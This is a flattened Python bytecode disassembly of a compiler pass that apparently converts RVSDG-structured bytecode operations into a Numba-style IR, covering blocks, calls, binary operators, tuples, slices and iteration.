LOAD_FAST exiting_block LOAD_ATTR kind LOAD_CONST 'tail' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF self LOAD_METHOD visit_linear LOAD_FAST exiting_block LOAD_FAST data_after_branches CALL_METHOD STORE_FAST data_at_tail LOAD_FAST data_at_tail RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 34 STORE_FAST k LOAD_DEREF self LOAD_ATTR local_scope LOAD_METHOD get_exact LOAD_DEREF self LOAD_METHOD _get_phi_name LOAD_FAST k LOAD_DEREF region LOAD_ATTR name CALL_METHOD CALL_METHOD LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_METHOD set_block LOAD_FAST self LOAD_METHOD _get_label LOAD_FAST region LOAD_ATTR name CALL_METHOD LOAD_GLOBAL ir LOAD_ATTR Block LOAD_FAST self LOAD_ATTR local_scope LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('scope', 'loc') CALL_FUNCTION CALL_METHOD SETUP_WITH to 40 POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD visit_linear LOAD_FAST region LOAD_FAST data CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR last_block_label LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR blocks LOAD_FAST self LOAD_ATTR last_block_label BINARY_SUBSCR STORE_FAST last_block LOAD_FAST last_block LOAD_ATTR is_terminated POP_JUMP_IF_TRUE LOAD_FAST last_block LOAD_METHOD append LOAD_GLOBAL ir LOAD_ATTR Jump LOAD_FAST label LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _emit_debug_print POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST 'begin dump last blk' LOAD_METHOD center LOAD_CONST 80 LOAD_CONST '-' CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST last_block LOAD_METHOD dump CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_CONST 'end dump last blk' LOAD_METHOD center LOAD_CONST 80 LOAD_CONST '=' CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST block LOAD_FAST self LOAD_ATTR blocks LOAD_FAST label STORE_SUBSCR LOAD_FAST self LOAD_ATTR _current_block STORE_FAST old LOAD_FAST block LOAD_FAST self STORE_ATTR _current_block SETUP_FINALLY to 130 LOAD_FAST block YIELD_VALUE POP_TOP POP_BLOCK LOAD_CONST None LOAD_FAST label LOAD_FAST self STORE_ATTR last_block_label LOAD_FAST old LOAD_FAST self STORE_ATTR _current_block LOAD_FAST self LOAD_ATTR _emit_debug_print POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST 'begin dump blk: ' LOAD_FAST label FORMAT_VALUE BUILD_STRING LOAD_METHOD center LOAD_CONST 80 LOAD_CONST '-' CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST block LOAD_METHOD dump CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_CONST 'end dump blk' LOAD_METHOD center LOAD_CONST 80 LOAD_CONST '=' CALL_METHOD CALL_FUNCTION POP_TOP END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST redefine POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR local_scope LOAD_ATTR redefine LOAD_FAST name LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST target JUMP_FORWARD to 42 LOAD_FAST self LOAD_ATTR local_scope LOAD_ATTR get_or_define LOAD_FAST name LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST target LOAD_GLOBAL ir LOAD_ATTR Assign LOAD_FAST value LOAD_FAST target LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('value', 'target', 'loc') CALL_FUNCTION STORE_FAST stmt LOAD_FAST self LOAD_ATTR append LOAD_FAST stmt LOAD_FAST block LOAD_CONST ('block',) CALL_FUNCTION POP_TOP LOAD_FAST target RETURN_VALUE LOAD_FAST self LOAD_METHOD store LOAD_FAST val LOAD_CONST '$' LOAD_FAST vs LOAD_ATTR name FORMAT_VALUE BUILD_STRING CALL_METHOD LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST vs STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_FAST block LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR current_block STORE_FAST block LOAD_FAST block LOAD_ATTR is_terminated POP_JUMP_IF_FALSE LOAD_FAST block LOAD_METHOD insert_before_terminator LOAD_FAST stmt CALL_METHOD POP_TOP JUMP_FORWARD to 42 LOAD_FAST block LOAD_METHOD append LOAD_FAST stmt CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 16 LOAD_FAST self LOAD_ATTR func_id LOAD_ATTR func LOAD_ATTR __globals__ LOAD_FAST name BINARY_SUBSCR RETURN_VALUE DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL getattr LOAD_GLOBAL builtins LOAD_FAST name LOAD_GLOBAL ir LOAD_ATTR UNDEFINED CALL_FUNCTION RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR func_id LOAD_ATTR func LOAD_ATTR __closure__ LOAD_FAST index BINARY_SUBSCR STORE_FAST cell SETUP_EXCEPT to 22 LOAD_FAST cell LOAD_ATTR cell_contents RETURN_VALUE DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL ir LOAD_ATTR UNDEFINED RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD store LOAD_GLOBAL ir LOAD_ATTR Const LOAD_FAST msg LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION LOAD_CONST '$.debug.msg' CALL_METHOD STORE_FAST msg_const LOAD_FAST self LOAD_METHOD store LOAD_GLOBAL ir LOAD_ATTR Const LOAD_GLOBAL print LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION LOAD_CONST '$.debug.print' CALL_METHOD STORE_FAST fn LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR call LOAD_FAST fn LOAD_FAST msg_const BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_CONST () LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST res LOAD_FAST self LOAD_METHOD store LOAD_FAST res LOAD_CONST '$.debug.res' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR bc_inst LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST op LOAD_ATTR bc_inst LOAD_ATTR positions STORE_FAST pos LOAD_FAST pos LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR loc LOAD_METHOD with_lineno LOAD_FAST pos LOAD_ATTR lineno LOAD_FAST pos LOAD_ATTR col_offset CALL_METHOD LOAD_FAST self STORE_ATTR loc LOAD_FAST self LOAD_ATTR _emit_debug_print POP_JUMP_IF_FALSE LOAD_FAST op LOAD_ATTR bc_inst LOAD_ATTR offset LOAD_CONST '3' FORMAT_VALUE with format LOAD_CONST ':(' LOAD_FAST pos LOAD_ATTR lineno LOAD_CONST '3' FORMAT_VALUE with format LOAD_CONST ':' LOAD_FAST pos LOAD_ATTR col_offset LOAD_CONST '3' FORMAT_VALUE with format LOAD_CONST ')' BUILD_STRING STORE_FAST where LOAD_CONST '[' LOAD_FAST where FORMAT_VALUE LOAD_CONST '] ' LOAD_FAST op LOAD_ATTR bc_inst LOAD_ATTR opname FORMAT_VALUE LOAD_CONST '(' LOAD_FAST op LOAD_ATTR bc_inst LOAD_ATTR argrepr FORMAT_VALUE LOAD_CONST ') ' BUILD_STRING STORE_FAST msg LOAD_FAST self LOAD_METHOD debug_print LOAD_FAST msg CALL_METHOD POP_TOP SETUP_LOOP to 228 LOAD_FAST op LOAD_ATTR input_ports LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 226 UNPACK_SEQUENCE STORE_FAST k STORE_FAST vs LOAD_FAST self LOAD_ATTR vsmap LOAD_METHOD get LOAD_FAST vs LOAD_CONST None CALL_METHOD STORE_FAST val LOAD_FAST val LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD debug_print LOAD_CONST ' in ' LOAD_FAST k LOAD_CONST '>6' FORMAT_VALUE with format LOAD_CONST ': <undef>' BUILD_STRING CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST self LOAD_METHOD debug_print LOAD_CONST ' in ' LOAD_FAST k LOAD_CONST '>6' FORMAT_VALUE with format LOAD_CONST ':' BUILD_STRING LOAD_FAST val CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL getattr LOAD_FAST self LOAD_CONST 'op_' LOAD_FAST op LOAD_ATTR bc_inst LOAD_ATTR opname FORMAT_VALUE BUILD_STRING CALL_FUNCTION STORE_FAST fn LOAD_FAST fn LOAD_FAST op LOAD_FAST op LOAD_ATTR bc_inst CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _emit_debug_print EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 362 LOAD_FAST op LOAD_ATTR output_ports LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 360 UNPACK_SEQUENCE STORE_FAST k STORE_FAST vs LOAD_FAST self LOAD_ATTR vsmap LOAD_METHOD get LOAD_FAST vs LOAD_CONST None CALL_METHOD STORE_FAST val LOAD_FAST val LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD debug_print LOAD_CONST ' out ' LOAD_FAST k LOAD_CONST '>6' FORMAT_VALUE with format LOAD_CONST ': <undef>' BUILD_STRING CALL_METHOD POP_TOP JUMP_FORWARD to 356 LOAD_FAST self LOAD_METHOD debug_print LOAD_CONST ' out ' LOAD_FAST k LOAD_CONST '>6' FORMAT_VALUE with format LOAD_CONST ':' BUILD_STRING LOAD_FAST val CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST vs LOAD_GLOBAL ir LOAD_ATTR Const LOAD_FAST bc LOAD_ATTR argval LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST value LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST value LOAD_FAST vs CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _nil STORE_FAST res LOAD_FAST self LOAD_METHOD get_global_value LOAD_FAST bc LOAD_ATTR argval CALL_METHOD STORE_FAST value LOAD_GLOBAL ir LOAD_ATTR Global LOAD_FAST bc LOAD_ATTR argval LOAD_FAST value LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST const LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST const LOAD_FAST res CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST res LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST item LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR getattr LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST item BINARY_SUBSCR LOAD_FAST bc LOAD_ATTR argval LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST getattr LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST getattr LOAD_FAST res CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _nil STORE_FAST res LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST item LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR getattr LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST item BINARY_SUBSCR LOAD_FAST bc LOAD_ATTR argval LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST getattr LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST getattr LOAD_FAST res CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST out LOAD_FAST self LOAD_ATTR func_id LOAD_ATTR code STORE_FAST code LOAD_FAST bc LOAD_ATTR argval STORE_FAST name LOAD_FAST name LOAD_FAST code LOAD_ATTR co_cellvars COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_FAST self LOAD_METHOD get LOAD_FAST name CALL_METHOD STORE_FAST gl JUMP_FORWARD to 112 LOAD_FAST name LOAD_FAST code LOAD_ATTR co_freevars COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST code LOAD_ATTR co_freevars LOAD_METHOD index LOAD_FAST name CALL_METHOD STORE_FAST idx LOAD_FAST self LOAD_METHOD get_closure_value LOAD_FAST idx CALL_METHOD STORE_FAST value LOAD_GLOBAL ir LOAD_ATTR FreeVar LOAD_FAST idx LOAD_FAST name LOAD_FAST value LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST gl LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST gl LOAD_FAST out CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST incvar LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST res LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST incvar BINARY_SUBSCR STORE_FAST var LOAD_FAST self LOAD_METHOD store LOAD_FAST var LOAD_FAST bc LOAD_ATTR argval CALL_METHOD LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST res STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_EX STORE_FAST _env STORE_FAST callee_or_null STORE_FAST arg0_or_callee STORE_FAST args LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST res LOAD_FAST callee_or_null LOAD_ATTR name LOAD_CONST 'null' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST arg0_or_callee BINARY_SUBSCR STORE_FAST callee LOAD_FAST op LOAD_ATTR opname LOAD_CONST 'call.kw' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST args LOAD_CONST -1 BINARY_SUBSCR LOAD_ATTR parent STORE_FAST kw_names_op LOAD_FAST kw_names_op LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kw_names_op LOAD_ATTR bc_inst LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST kw_names_op LOAD_ATTR opname LOAD_CONST 'kw_names' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST args LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST args LOAD_DEREF self LOAD_ATTR func_id LOAD_ATTR code STORE_FAST co LOAD_FAST co LOAD_ATTR co_consts LOAD_FAST kw_names_op LOAD_ATTR bc_inst LOAD_ATTR arg BINARY_SUBSCR STORE_FAST names LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa519c1b70, file "f.py", line 565> LOAD_CONST 'RVSDG2IR.op_CALL.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST args GET_ITER CALL_FUNCTION STORE_FAST argvars LOAD_GLOBAL tuple LOAD_GLOBAL zip LOAD_FAST names LOAD_FAST args LOAD_GLOBAL len LOAD_FAST names CALL_FUNCTION UNARY_NEGATIVE LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION CALL_FUNCTION STORE_FAST kwargs LOAD_FAST argvars LOAD_CONST None LOAD_GLOBAL len LOAD_FAST names CALL_FUNCTION UNARY_NEGATIVE BUILD_SLICE BINARY_SUBSCR STORE_FAST argvars JUMP_FORWARD to 244 LOAD_FAST op LOAD_ATTR opname LOAD_CONST 'call' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faa519c10c0, file "f.py", line 570> LOAD_CONST 'RVSDG2IR.op_CALL.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST args GET_ITER CALL_FUNCTION STORE_FAST argvars LOAD_CONST () STORE_FAST kwargs LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR call LOAD_FAST callee LOAD_FAST argvars LOAD_FAST kwargs LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST expr LOAD_DEREF self LOAD_METHOD store_vsmap LOAD_FAST expr LOAD_FAST res CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST vs LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST vs BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST vs LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST vs BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST lhs STORE_FAST rhs LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST out LOAD_FAST bc LOAD_ATTR argrepr STORE_FAST operator NOP BINOPS_TO_OPERATORS LOAD_FAST operator BINARY_SUBSCR STORE_FAST op LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST lhs BINARY_SUBSCR STORE_FAST lhs_var LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST rhs BINARY_SUBSCR STORE_FAST rhs_var LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR binop LOAD_FAST op LOAD_FAST lhs_var LOAD_FAST rhs_var LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('lhs', 'rhs', 'loc') CALL_FUNCTION STORE_FAST expr LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST expr LOAD_FAST out CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST lhs STORE_FAST rhs LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST out LOAD_CONST '=' LOAD_FAST operator COMPARE_OP in POP_JUMP_IF_FALSE NOP BINOPS_TO_OPERATORS LOAD_FAST operator LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR BINARY_SUBSCR STORE_FAST immuop NOP INPLACE_BINOPS_TO_OPERATORS LOAD_FAST operator BINARY_SUBSCR STORE_FAST op LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR inplace_binop LOAD_FAST op LOAD_FAST immuop LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST lhs BINARY_SUBSCR LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST rhs BINARY_SUBSCR LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('lhs', 'rhs', 'loc') CALL_FUNCTION STORE_FAST expr JUMP_FORWARD to 142 NOP BINOPS_TO_OPERATORS LOAD_FAST operator BINARY_SUBSCR STORE_FAST op LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST lhs BINARY_SUBSCR STORE_FAST lhs LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST rhs BINARY_SUBSCR STORE_FAST rhs LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR binop LOAD_FAST op LOAD_FAST lhs LOAD_FAST rhs LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('lhs', 'rhs', 'loc') CALL_FUNCTION STORE_FAST expr LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST expr LOAD_FAST out CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _binop LOAD_FAST bc LOAD_ATTR argrepr LOAD_FAST op CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST bc LOAD_ATTR argval LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'is not' JUMP_FORWARD to 16 LOAD_CONST 'is' STORE_FAST opname LOAD_FAST self LOAD_METHOD _binop LOAD_FAST opname LOAD_FAST op CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST val LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST out LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR unary LOAD_CONST 'not' LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST val BINARY_SUBSCR LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('value', 'loc') CALL_FUNCTION STORE_FAST expr LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST expr LOAD_FAST out CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST index STORE_FAST target LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST out LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST index BINARY_SUBSCR STORE_FAST index_var LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST target BINARY_SUBSCR STORE_FAST target_var LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR getitem LOAD_FAST target_var LOAD_FAST index_var LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('index', 'loc') CALL_FUNCTION STORE_FAST expr LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST expr LOAD_FAST out CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST index STORE_FAST target STORE_FAST value LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST index BINARY_SUBSCR STORE_FAST index_var LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST target BINARY_SUBSCR STORE_FAST target_var LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST value BINARY_SUBSCR STORE_FAST value_var LOAD_GLOBAL ir LOAD_ATTR SetItem LOAD_FAST target_var LOAD_FAST index_var LOAD_FAST value_var LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('target', 'index', 'value', 'loc') CALL_FUNCTION STORE_FAST stmt LOAD_FAST self LOAD_METHOD append LOAD_FAST stmt CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs STORE_FAST items LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST out LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR build_tuple LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa90e3bd150, file "f.py", line 641> LOAD_CONST 'RVSDG2IR.op_BUILD_TUPLE.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST items GET_ITER CALL_FUNCTION LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('items', 'loc') CALL_FUNCTION STORE_FAST expr LOAD_DEREF self LOAD_METHOD store_vsmap LOAD_FAST expr LOAD_FAST out CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST it LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST it BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL tuple LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa90e3bd8a0, file "f.py", line 645> LOAD_CONST 'RVSDG2IR.op_BUILD_SLICE.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST op LOAD_ATTR inputs GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST args LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST out LOAD_GLOBAL len LOAD_FAST args CALL_FUNCTION LOAD_CONST (2, 3) COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'expected (start, stop, [step])' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL ir LOAD_ATTR Global LOAD_CONST 'slice' LOAD_GLOBAL slice LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST slicegv LOAD_DEREF self LOAD_ATTR store LOAD_FAST slicegv LOAD_CONST '$slicevar' LOAD_CONST True LOAD_CONST ('value', 'name', 'redefine') CALL_FUNCTION STORE_FAST slicevar LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR call LOAD_FAST slicevar LOAD_FAST args LOAD_CONST () LOAD_DEREF self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST sliceinst LOAD_DEREF self LOAD_METHOD store_vsmap LOAD_FAST sliceinst LOAD_FAST out CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST v LOAD_DEREF self LOAD_ATTR vsmap LOAD_FAST v BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST arg LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST res LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR getiter LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST arg BINARY_SUBSCR LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('value', 'loc') CALL_FUNCTION STORE_FAST expr LOAD_FAST self LOAD_METHOD store_vsmap LOAD_FAST expr LOAD_FAST res CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST iterator LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST res LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR iternext LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST iterator BINARY_SUBSCR LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('value', 'loc') CALL_FUNCTION STORE_FAST pairval LOAD_FAST self LOAD_METHOD store LOAD_FAST pairval LOAD_CONST '$foriter' CALL_METHOD STORE_FAST pair LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR pair_first LOAD_FAST pair LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('value', 'loc') CALL_FUNCTION STORE_FAST iternext LOAD_FAST self LOAD_METHOD store LOAD_FAST iternext LOAD_CONST '$foriter.indval' CALL_METHOD STORE_FAST indval LOAD_FAST indval LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST res STORE_SUBSCR LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR pair_second LOAD_FAST pair LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('value', 'loc') CALL_FUNCTION STORE_FAST isvalid LOAD_FAST self LOAD_METHOD store LOAD_FAST isvalid LOAD_CONST '$foriter.isvalid' CALL_METHOD STORE_FAST pred LOAD_GLOBAL ir LOAD_ATTR Const LOAD_GLOBAL operator LOAD_ATTR not_ LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST not_fn LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR call LOAD_FAST self LOAD_METHOD store LOAD_FAST not_fn LOAD_CONST '$not' CALL_METHOD LOAD_FAST pred BUILD_TUPLE LOAD_CONST () LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST res LOAD_FAST self LOAD_METHOD store LOAD_FAST res LOAD_CONST '$for_iter' CALL_METHOD LOAD_FAST self STORE_ATTR branch_predicate LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ir LOAD_ATTR Const LOAD_GLOBAL operator LOAD_ATTR not_ 